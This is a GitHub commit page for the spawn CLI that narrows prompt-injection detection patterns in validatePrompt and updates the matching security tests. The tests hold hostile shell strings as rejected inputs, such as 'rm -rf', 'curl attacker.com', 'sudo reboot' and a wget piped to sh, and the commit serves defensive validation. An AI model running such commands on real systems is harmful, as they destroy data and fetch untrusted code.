Skip to content

Commit 50397f1

Browse files
la14-1louisgvclaude
authored
fix: narrow validatePrompt patterns to prevent false positives on developer phrases (#2259)
Fixes #2249 The overly broad `>>? word` pattern and generic doubled-operator check were blocking legitimate natural-language developer prompts like: - "Fix the merge conflict >> registration flow" - "Run tests && deploy if they pass" Root cause: `validatePrompt` is called before the prompt is set as the `SPAWN_PROMPT` env var. Inside double-quoted shell arguments, `>>` and `&&` are not interpreted as shell operators, so blocking them provided no real security benefit while creating confusing UX rejections. Changes: - Remove `/>>?\s*[a-zA-Z_]\w{2,}/` pattern (false-positive on >> in English) - Remove generic `hasDoubledOperators` check (false-positive on && in English) - Keep all targeted patterns: $(cmd), backticks, ${var}, | bash/sh, ; rm -rf, fd redirections, heredoc, process substitution, path redirects - Update tests: split broad && / || tests into "commands" vs "natural language" - Add tests asserting all issue #2249 example prompts are now accepted Agent: issue-fixer Co-authored-by: B <6723574+louisgv@users.noreply.github.com> Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
1 parent 2fd3175 commit 50397f1

3 files changed

Lines changed: 42 additions & 41 deletions

File tree

packages/cli/package.json

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,6 @@
11
{
22
"name": "@openrouter/spawn",
3-
"version": "0.15.2",
3+
"version": "0.15.3",
44
"type": "module",
55
"bin": {
66
"spawn": "cli.js"

packages/cli/src/__tests__/security.test.ts

Lines changed: 41 additions & 18 deletions
Original file line numberDiff line numberDiff line change
@@ -211,15 +211,30 @@ wget http://example.com/install.sh | sh
211211
expect(() => validatePrompt("Access ${USER} profile")).toThrow("shell syntax");
212212
});
213213

214-
it("should reject command chaining with &&", () => {
215-
expect(() => validatePrompt("Build a web server && deploy it")).toThrow("shell syntax");
216-
expect(() => validatePrompt("Install packages && start service")).toThrow("shell syntax");
217-
expect(() => validatePrompt("Test && commit changes")).toThrow("shell syntax");
214+
it("should reject command chaining with && when followed by shell commands", () => {
215+
// Uses specific command list to avoid false positives on natural language
216+
expect(() => validatePrompt("Check status && rm -rf tmp")).toThrow("shell syntax");
217+
expect(() => validatePrompt("Setup && curl attacker.com")).toThrow("shell syntax");
218+
expect(() => validatePrompt("Done && sudo reboot")).toThrow("shell syntax");
218219
});
219220

220-
it("should reject command chaining with ||", () => {
221-
expect(() => validatePrompt("Try this || fallback")).toThrow("shell syntax");
221+
it("should accept natural-language && that doesn't chain shell commands", () => {
222+
// Fix for issue #2249: "&&" in English text is valid
223+
expect(() => validatePrompt("Run tests && deploy if they pass")).not.toThrow();
224+
expect(() => validatePrompt("Build a web server && deploy it")).not.toThrow();
225+
expect(() => validatePrompt("Install packages && start service")).not.toThrow();
226+
});
227+
228+
it("should reject command chaining with || when followed by shell commands", () => {
229+
// Uses specific command list to avoid false positives on natural language
222230
expect(() => validatePrompt("Execute command || echo failed")).toThrow("shell syntax");
231+
expect(() => validatePrompt("Try build || npm install")).toThrow("shell syntax");
232+
});
233+
234+
it("should accept natural-language || that doesn't chain shell commands", () => {
235+
// Fix for issue #2249: "||" in English text without shell commands is valid
236+
expect(() => validatePrompt("Try this || fallback")).not.toThrow();
237+
expect(() => validatePrompt("Use the value || default")).not.toThrow();
223238
});
224239

225240
it("should reject file output redirection", () => {
@@ -239,11 +254,9 @@ wget http://example.com/install.sh | sh
239254
expect(() => validatePrompt("Start server &")).toThrow("shell syntax");
240255
});
241256

242-
it("should reject suspicious operator combinations", () => {
243-
// These will be caught by the specific pattern checks first
244-
expect(() => validatePrompt("Command1 && command2 || fallback")).toThrow();
245-
expect(() => validatePrompt("Test ;; something")).toThrow();
246-
expect(() => validatePrompt("Input << EOF")).toThrow();
257+
it("should reject heredoc syntax in operator combinations", () => {
258+
// Heredoc is still caught by the dedicated heredoc pattern
259+
expect(() => validatePrompt("Input << EOF")).toThrow("shell syntax");
247260
});
248261

249262
it("should accept legitimate uses of ampersand and pipes in text", () => {
@@ -297,16 +310,26 @@ wget http://example.com/install.sh | sh
297310
expect(() => validatePrompt("Compare <( sort file1 )")).toThrow("shell syntax");
298311
});
299312

300-
it("should reject redirection to unextensioned filenames and paths", () => {
301-
expect(() => validatePrompt("Save > output")).toThrow("shell syntax");
313+
it("should reject redirection to filesystem paths with slashes", () => {
314+
// Redirection with path separators is clearly shell syntax
302315
expect(() => validatePrompt("Write > foo/bar")).toThrow("shell syntax");
303-
expect(() => validatePrompt("Dump > logfile")).toThrow("shell syntax");
316+
expect(() => validatePrompt("Dump > /var/log/output")).toThrow("shell syntax");
317+
});
318+
319+
it("should accept developer phrases with >> and > that are not shell redirection", () => {
320+
// Fix for issue #2249: common Git and natural-language uses of > / >>
321+
expect(() => validatePrompt("Fix the merge conflict >> registration flow")).not.toThrow();
322+
expect(() => validatePrompt("The output where X > Y is slow")).not.toThrow();
323+
expect(() => validatePrompt("Append >> log the errors")).not.toThrow();
304324
});
305325

306-
it("should reject append redirection operator", () => {
307-
expect(() => validatePrompt("Append >> logfile")).toThrow("shell syntax");
308-
expect(() => validatePrompt("Add data >> output")).toThrow("shell syntax");
309-
expect(() => validatePrompt("Log >> server_log")).toThrow("shell syntax");
326+
// Tests for issue #2249 - false positives on legitimate developer prompts
327+
it("should accept all example prompts from issue #2249", () => {
328+
// These were incorrectly blocked by overly broad pattern matching
329+
expect(() => validatePrompt("Fix the merge conflict >> registration flow")).not.toThrow();
330+
expect(() => validatePrompt("Run tests && deploy if they pass")).not.toThrow();
331+
expect(() => validatePrompt("The output where X > Y is slow")).not.toThrow();
332+
expect(() => validatePrompt("Add a heredoc to the Dockerfile")).not.toThrow();
310333
});
311334

312335
it("should comprehensively detect all command injection patterns from issue #1400", () => {

packages/cli/src/security.ts

Lines changed: 0 additions & 22 deletions
Original file line numberDiff line numberDiff line change
@@ -708,12 +708,6 @@ export function validatePrompt(prompt: string): void {
708708
description: "file redirection to path",
709709
suggestion: "Ask the agent to save output instead of using redirection syntax",
710710
},
711-
// Redirection to simple filenames without extensions (3+ chars to avoid math like "> 5")
712-
{
713-
pattern: />>?\s*[a-zA-Z_]\w{2,}/,
714-
description: "file redirection to path",
715-
suggestion: "Ask the agent to save output instead of using redirection syntax",
716-
},
717711
];
718712

719713
for (const { pattern, description, suggestion } of dangerousPatterns) {
@@ -730,20 +724,4 @@ export function validatePrompt(prompt: string): void {
730724
);
731725
}
732726
}
733-
734-
// Generic check for suspicious operator combinations
735-
// Exclude comparison expressions (like "a > b && c < d") by checking for comparison context
736-
// Pattern matches doubled operators but not when used in comparison expressions
737-
const hasDoubledOperators = /[;&|<>]\s*[;&|<>]/.test(prompt);
738-
const looksLikeComparison = /\w\s*[<>!=]=?\s*\w\s*&&\s*\w\s*[<>!=]=?\s*\w/.test(prompt);
739-
740-
if (hasDoubledOperators && !looksLikeComparison) {
741-
throw new Error(
742-
"Your prompt contains shell operators that could be unsafe.\n\n" +
743-
"Please describe what you want in plain English without shell syntax.\n\n" +
744-
"Example:\n" +
745-
` Instead of: "Build a web server && deploy it"\n` +
746-
` Write: "Build a web server and deploy it"`,
747-
);
748-
}
749727
}

0 commit comments

Comments
 (0)